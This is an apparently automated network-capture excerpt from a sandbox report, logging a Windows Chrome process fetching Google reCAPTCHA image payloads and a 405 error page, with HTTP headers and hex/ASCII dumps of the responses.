8nU6yAi4v38ts8j8rJHUf1r1UszcnZi98Y2pHg_dKAbTpdn1Ku9tAF0mGsrGnS0X6VG0H-xMkf-YQc4BnTnSiA-ySR1I-5s5TpKHRCJcN-sEdkkUi6f25M0-beXWN2Gw9fcf8LacBisAFQbGOl3nedAUMrV2Ck8EEdT3fKYqinkFemjsd_bAfXOerfjFFsJ3ryDo-epPRx8dqMtejNLhHZmeB8Iqp-tZr5nn3fwR_PNPOW4HQJYuAZZjRnvksZa
2024-03-15 12:58:07 UTC	1015	IN	Data Raw: 31 2d 78 32 42 50 54 78 73 73 78 32 73 77 63 38 31 78 33 66 59 54 54 67 44 42 48 64 5f 49 78 67 36 46 69 57 6b 4e 4f 55 70 77 53 39 6e 41 35 4f 57 6f 31 38 33 32 39 43 4f 7a 62 6b 44 68 49 6a 54 30 4e 38 68 71 37 76 75 6f 36 58 37 70 78 48 6a 59 6b 73 7a 45 6f 41 79 75 31 47 6b 32 4c 4c 30 41 74 64 45 6b 4e 52 33 70 71 41 75 2d 6f 4d 45 73 45 54 71 41 65 4a 45 5f 49 37 68 30 47 53 6f 37 5a 65 32 43 43 76 44 65 51 30 46 47 41 79 50 6b 55 70 67 31 6f 75 4e 6a 66 4f 6d 32 54 75 35 36 50 32 51 4c 48 50 33 4d 55 58 53 66 70 64 35 53 50 4b 4d 78 44 41 6d 75 65 66 6f 38 7a 72 55 32 41 55 6f 7a 50 7a 6f 32 78 5a 35 30 69 4e 4e 65 41 5a 56 47 51 52 5a 48 59 66 4c 38 48 32 5f 63 6b 46 66 44 41 6f 58 57 77 58 76 31 78 54 66 51 64 53 49 51 56 75 71 51 61 52 6e 6f 57 Data Ascii: 1-x2BPTxssx2swc81x3fYTTgDBHd_Ixg6FiWkNOUpwS9nA5OWo18329COzbkDhIjT0N8hq7vuo6X7pxHjYkszEoAyu1Gk2LL0AtdEkNR3pqAu-oMEsETqAeJE_I7h0GSo7Ze2CCvDeQ0FGAyPkUpg1ouNjfOm2Tu56P2QLHP3MUXSfpd5SPKMxDAmuefo8zrU2AUozPzo2xZ50iNNeAZVGQRZHYfL8H2_ckFfDAoXWwXv1xTfQdSIQVuqQaRnoW
2024-03-15 12:58:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49750	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:07 UTC	1443	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:07 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:07 GMT Date: Fri, 15 Mar 2024 12:58:07 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:07 UTC	6	IN	Data Raw: 42 38 42 44 0d 0a Data Ascii: B8BD
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 7c 8a f2 8f 8b 0c 4e be 14 8c 05 40 08 f5 e9 5d 15 be 33 38 ec 75 df 04 87 97 a0 5e 37 9a e3 7c c7 85 5c f6 ae f9 c6 fc 8f f4 96 3e fc 0a e1 7e 0b ac 8b e1 99 4a cf 32 83 39 c2 ac 79 ed 5d d1 46 f3 fe 65 99 b2 32 72 d8 ae 4a cb df 3a e3 b6 a7 43 e0 d4 54 37 44 46 17 0a 07 5c 9c 57 9e f8 a7 60 d4 a7 72 23 39 04 e4 f3 de bd 1b c1 ea ab 05 fb 6d da 30 3a 1c 9e 95 e6 5a c9 67 be b8 57 09 f3 a1 03 f3 a2 a5 ee 8c 22 dc a4 cc 18 b7 38 94 ee 0f f2 81 80 31 c5 4a a1 ce d8 c4 0e a0 7a 35 46 a6 55 b6 6f 95 5c 70 b9 07 9c e6 9c 51 7c cf 91 18 36 dc 1c b7 7a 4d 9b a4 4e a2 54 19 c4 eb 93 dc e6 9e 8e c4 ed c3 75 ee 6a 18 8e 07 47 ca 8e 79 ef 56 56 32 06 f0 33 95 a9 43 25 45 05 48 c7 7f 5a 18 8c 96 0d c0 18 e9 d6 99 02 6d 3f 30 3e d4 e6 2a 18 8c 91 8e 9c 55 a0 1e 21 25 Data Ascii: \|N@]38u^7\|\>~J29y]Fe2rJ:CT7DF\W`r#9m0:ZgW"81Jz5FUo\pQ\|6zMNTujGyVV23C%EHZm?0>*U!%
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: ef 7e 15 ea 6a 5d 93 e7 4b 87 ed f3 b0 5c 57 97 fc 26 56 7d 7b 07 6b 94 84 ed 23 e5 23 f1 af 4d 48 95 79 f2 a3 62 7f bf 2e 6b 0a a8 de 1b 0f c4 5b 94 b4 56 c8 07 f7 e5 26 a4 b5 2a 1c f9 72 5a a8 63 d1 23 e0 53 23 68 d3 e5 66 b5 04 9e 36 a6 ec 53 d2 5c 30 41 2c bb 89 c7 c9 1d 64 96 86 d2 56 89 c2 7c 60 7d b7 45 0b 3b 7f a3 80 4e dc 77 35 e6 3e 14 04 78 86 d4 6e 0b fb c1 92 4f d2 bd 13 e3 24 a0 df 48 18 48 3f d1 d3 3b be a6 bc e3 c3 01 8e b3 6c 72 78 71 ce 2b b3 06 ac 8e 2a cc f7 9d 23 68 8f 07 ae ce b5 e3 df 15 d8 b7 8b 25 04 f0 06 07 7a f5 bd 2c 15 8c 7e f3 39 41 8e 3a 57 8e 7c 48 7f 33 c5 57 24 9c 8c 9c 56 b5 ac e7 73 38 bd 0f 47 f8 42 bf f1 49 86 13 5c 9c cc dc 22 e0 57 69 14 43 79 7f 22 66 c8 c6 4b 57 23 f0 99 d5 3c 1b 0e 12 e0 e5 db 21 4e 2b af f2 f1 Data Ascii: ~j]K\W&V}{k##MHyb.k[V&rZc#S#hf6S\0A,dV\|`}E;Nw5>xnO$HH?;lrxq+#h%z,~9A:W\|H3W$Vs8GBI\"WiCy"fKW#<!N+
2024-03-15 12:58:07 UTC	342	IN	Data Raw: 9c 04 dc 71 8a f2 bb 86 67 50 c7 80 06 09 c7 6e 95 dd 78 2b 50 fb 16 83 3f 9b 24 86 02 e4 93 bb 01 40 18 e2 ad 3b 04 24 92 b9 dd f8 8a 54 fe cf b1 45 67 c8 19 21 46 0f 4a c7 d3 40 70 1d 12 51 96 3f 7d f6 d5 af 10 5f 58 b5 85 85 c4 00 98 1a 10 4f 73 80 3f fd 75 cc 69 1a 83 34 31 49 24 eb 1a b4 c7 0a 50 96 fa 7d 29 bb bd c2 1a 1d 50 6c 60 14 81 72 7f 8a 4c 9a f3 7f 8b 21 52 69 48 58 d7 21 41 20 73 f8 1a f4 55 c1 60 49 70 31 d7 ca af 37 f8 ac 4b cd 2e 5a 42 77 0c 82 38 e9 44 3e 23 59 6c 70 36 f8 da e0 12 a4 2e 4f bd 11 8f de 6e c1 c6 78 c9 a7 40 09 88 9c 81 94 e4 91 d7 9a 68 e4 05 c0 3f 30 ef 5d 7b 18 a7 a9 e9 5f 08 51 9b 55 9e 47 10 fc b0 1e 19 b0 3a d7 a7 40 01 3b d5 6d 11 48 fe 05 26 bc e7 e1 12 a2 dd dd 31 31 c7 88 c0 e5 37 67 9a f4 86 99 59 82 c7 24 c4 Data Ascii: qgPnx+P?$@;$TEg!FJ@pQ?}_XOs?ui41I$P})Pl`rL!RiHX!A sU`Ip17K.ZBw8D>#Ylp6.Onx@h?0]{_QUG:@;mH&117gY$
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 4b db d0 61 23 e6 5e 44 99 1d 2b 8a f0 a8 53 ad 42 cc 40 50 c7 a8 c8 ae ac 32 b2 38 6a 3d 4f 67 d2 26 c2 11 21 6d c5 46 09 fa 57 8d 78 e6 44 97 c4 f7 2c 9d 0b d7 a7 59 dc 82 02 b4 80 71 8e bd 05 79 47 89 99 3f b7 e7 2b f3 0f 33 ad 5c d6 a4 43 6b 1e c5 f0 e2 30 3c 1f 6e 76 ce 57 24 61 7e bd ab ab da bf 67 6c a1 00 10 72 ed d6 b9 cf 87 70 88 bc 25 60 ab 1b ed 28 70 43 7c bd 6b a1 98 af 96 54 c5 92 a0 02 43 66 b9 a6 db 67 5c 1e 86 e6 8c df f1 4a dd b3 90 a7 0d 8c 73 9e 2b c9 b5 99 cf da 66 04 21 50 06 ee 6b d5 ad 91 93 c2 93 9c 05 07 76 05 79 3e a1 1e eb e9 c4 82 20 cb 81 8e b9 a2 aa 49 a2 60 b5 6c a1 75 b1 ec 4b 42 bf f2 db 8d 9d 7e b4 f2 26 11 0d 85 d4 fa 53 2e 55 8c 58 44 76 5f 33 aa 70 0f 1e 95 23 82 62 c8 12 90 40 ef fa 56 6f 51 df 51 15 5e 4c 04 32 2b Data Ascii: Ka#^D+SB@P28j=Og&!mFWxD,YqyG?+3\Ck0<nvW$a~glrp%`(pC\|kTCfg\Js+f!Pkvy> I`luKB~&S.UXDv_3p#b@VoQQ^L2+
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 99 3a e7 a5 79 97 c5 62 8b 7d 30 d8 57 12 e0 0d f9 cf 15 e9 11 49 6e 99 61 f6 75 0a 41 ef 5c 2f 8b b4 d5 d5 35 29 27 fb 65 82 47 92 46 f7 e3 3c 76 ad 62 ad 21 cb 44 79 f5 bc 2e b6 6f 21 59 42 b2 e0 1d 9c 13 f5 ab fa 36 8f 77 76 ab 24 56 72 4a a5 86 0f 4a dc 3a 4c 42 d9 22 9f c4 76 2a 80 67 cb 19 db f8 54 90 c3 a4 c7 10 12 78 a5 63 00 8c 88 90 f3 5d 37 b9 8c 53 3a cf 87 9a 7d cd 9c f7 65 e0 96 23 b4 2f ca c1 cf 5f d2 bb 48 41 91 c7 fc 7c b7 60 18 ed cf bd 72 9f 0c 65 b1 93 fb 4c 59 de dc 5e 80 53 2e df 2e 2b a9 28 37 31 f2 d4 e3 a6 f9 71 58 54 6a e6 f1 2d 04 f9 5b 30 12 71 8c b4 c4 66 92 dd 44 6e 0b 47 02 f1 c6 64 24 d4 6b 14 41 32 c9 6b 18 3d fc cc d4 17 f3 9b 7b 66 f2 1e d4 b9 e0 2e 0e 09 fa fa d6 77 d0 d2 4e e8 f2 ff 00 89 f2 34 9a 9d dc 65 22 f9 9c 63 Data Ascii: :yb}0WInauA\/5)'eGF<vb!Dy.o!YB6wv$VrJJ:LB"v*gTxc]7S:}e#/_HA\|`reLY^S..+(71qXTj-[0qfDnGd$kA2k={f.wN4e"c
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 90 86 c0 73 c7 5c fb f6 aa 77 b6 73 0f b4 07 5f 2d 71 f2 1c e7 71 1d 2b a5 ba 0a 19 1e e0 16 8c 9c 34 64 f4 f7 ac 69 6e 2d 8d e3 96 5f 3e 2d c1 44 67 82 3d eb cb a5 27 26 6f 08 b6 c8 3c 3f a9 6a 37 ba 95 ba bc 05 95 00 8b 21 78 35 bb e3 29 a4 4f 0d 5e ae 24 56 c8 8c ef 2a 01 c9 f6 aa 3a 24 a3 4f d3 a7 9b ca 89 82 33 05 42 7a 9a ce d6 35 01 7b e1 7b b7 65 81 65 62 0e de 7e 5e 7b 57 7c 52 b1 ab 8d 91 c4 96 48 4e f8 41 69 23 38 e1 7a 03 56 ed 2e a1 7b 79 24 31 39 08 a7 72 e3 d0 d5 7d 2e 04 69 2e fc c7 3b 5e 33 8d a7 9e 2a 95 f7 92 16 5b 68 8c 8a f8 18 62 70 4f 15 56 31 8b d4 b2 d3 a4 97 47 6a 80 84 8c 64 f1 4b e2 99 22 b8 bc b7 86 dd f6 33 28 42 73 d4 8f 43 4d 8a 11 6c 20 8a 52 ca 19 14 fc c3 8c d3 6e 98 c4 13 18 2c 72 cd 88 f7 fe 02 84 53 93 40 a6 5b 7d 2f Data Ascii: s\ws_-qq+4din-_>-Dg='&o<?j7!x5)O^$V:$O3Bz5{{eeb~^{W\|RHNAi#8zV.{y$19r}.i.;^3[hbpOV1GjdK"3(BsCMl Rn,rS@[}/
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: d4 a3 2d 8c e4 bf 03 f1 a4 2b 23 64 be a6 a3 18 19 0c 7f ce 28 b9 0e ec 8e 2f 3d 61 0f 1e 99 01 25 47 54 27 35 31 3a 86 dc c3 61 0a b6 72 4f 97 8a 6c 23 32 6e 1a a1 23 3d 09 6c 7b 53 9e 38 d5 4f 99 7c 59 b3 8e 8d c5 26 9b 1a 1c 8f ac 48 0b b2 c3 18 e8 4e d5 14 a0 ea ac 58 1b 84 5c 7d dc 15 19 aa 66 1b 46 85 bf d3 18 9c 8e 8a 69 cb 1d 91 7c 7d a1 db dc 0a 6b 41 ec 5a fb 3e b0 79 fb 6a f3 ff 00 4d 16 8a 8b 7d 88 e3 cc 98 fb e0 51 45 c5 71 de 1b b1 f2 7c 55 6e c6 e3 cd 50 db 95 48 e9 c5 76 3e 29 9c c7 1d be 23 dd 1b 3b 87 2d fc 35 c9 f8 35 7c cf 15 20 c6 f5 48 d9 fc c1 90 1b 27 a5 75 7e 2a 99 11 6d e3 77 f9 5d 5b 2b 8c e6 b0 c5 49 fd 4d 1e 7b fe 25 8c 0b 9b 01 72 c8 ee a5 42 b6 47 38 dc bd ab 0e 2b 16 8b 55 9d a4 01 46 48 4e 33 5b 50 dd 03 39 88 48 ce 02 63 Data Ascii: -+#d(/=a%GT'51:arOl#2n#=l{S8O\|Y&HNX\}fFi\|}kAZ>yjM}QEq\|UnPHv>)#;-55\| H'u~*mw][+IM{%rBG8+UFHN3[P9Hc
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: a2 ec 2c 4e 1d 4b 80 66 ca 02 48 53 9e 94 24 80 9d de 66 50 fd d0 47 4a a8 7c e7 99 43 48 ea a4 9c 10 2a 51 f2 82 a6 76 27 b2 95 a1 12 d3 24 17 7b a5 e5 90 91 c7 4e 69 db f0 9c 34 4d eb b8 75 a8 22 8d 19 81 f9 49 3d f1 4c b8 05 40 f2 b6 63 b8 e9 4c 44 1a 83 47 34 bb 1c 05 6c f0 54 55 88 ed 23 68 d0 ac ac a4 1c 37 ca 2a 35 5b 91 74 18 a2 be 47 cb d2 b5 20 7b bd a0 79 51 81 9c 7d d1 53 25 a9 49 8d 68 ac ce 51 d6 59 14 0e e4 01 55 8a 5a 31 11 8b 69 77 67 a9 70 73 fa 56 8c 83 52 78 08 db 16 e1 d3 ee d4 09 15 dc 8c 85 9e 24 65 38 3f 30 14 96 85 0c 51 6a b3 01 f6 37 d8 a4 11 cf 27 f1 c5 5a 09 04 ea 49 b6 91 58 8c 81 b8 f5 fc a9 7c ad 40 b1 2f 73 18 03 a6 24 15 2a 9b e0 00 17 c9 b8 67 9f 30 55 5c 96 42 90 db a6 71 0b e7 d0 82 73 4f 64 4c ae cb 20 a7 af 2a 4f d4 Data Ascii: ,NKfHS$fPGJ\|CHQv'${Ni4Mu"I=L@cLDG4lTU#h75[tG {yQ}S%IhQYUZ1iwgpsVRx$e8?0Qj7'ZIX\|@/s$g0U\BqsOdL O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49751	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:07 UTC	797	OUT	GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:07 UTC	473	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:58:07 GMT Content-Type: text/html; charset=utf-8 Allow: POST X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:07 UTC	779	IN	Data Raw: 36 37 36 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 Data Ascii: 676<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;c
2024-03-15 12:58:07 UTC	882	IN	Data Raw: 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: go_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.googl
2024-03-15 12:58:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49752	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:07 UTC	1043	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:07 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:07 GMT Date: Fri, 15 Mar 2024 12:58:07 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:07 UTC	6	IN	Data Raw: 42 38 42 44 0d 0a Data Ascii: B8BD
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 7c 8a f2 8f 8b 0c 4e be 14 8c 05 40 08 f5 e9 5d 15 be 33 38 ec 75 df 04 87 97 a0 5e 37 9a e3 7c c7 85 5c f6 ae f9 c6 fc 8f f4 96 3e fc 0a e1 7e 0b ac 8b e1 99 4a cf 32 83 39 c2 ac 79 ed 5d d1 46 f3 fe 65 99 b2 32 72 d8 ae 4a cb df 3a e3 b6 a7 43 e0 d4 54 37 44 46 17 0a 07 5c 9c 57 9e f8 a7 60 d4 a7 72 23 39 04 e4 f3 de bd 1b c1 ea ab 05 fb 6d da 30 3a 1c 9e 95 e6 5a c9 67 be b8 57 09 f3 a1 03 f3 a2 a5 ee 8c 22 dc a4 cc 18 b7 38 94 ee 0f f2 81 80 31 c5 4a a1 ce d8 c4 0e a0 7a 35 46 a6 55 b6 6f 95 5c 70 b9 07 9c e6 9c 51 7c cf 91 18 36 dc 1c b7 7a 4d 9b a4 4e a2 54 19 c4 eb 93 dc e6 9e 8e c4 ed c3 75 ee 6a 18 8e 07 47 ca 8e 79 ef 56 56 32 06 f0 33 95 a9 43 25 45 05 48 c7 7f 5a 18 8c 96 0d c0 18 e9 d6 99 02 6d 3f 30 3e d4 e6 2a 18 8c 91 8e 9c 55 a0 1e 21 25 Data Ascii: \|N@]38u^7\|\>~J29y]Fe2rJ:CT7DF\W`r#9m0:ZgW"81Jz5FUo\pQ\|6zMNTujGyVV23C%EHZm?0>*U!%
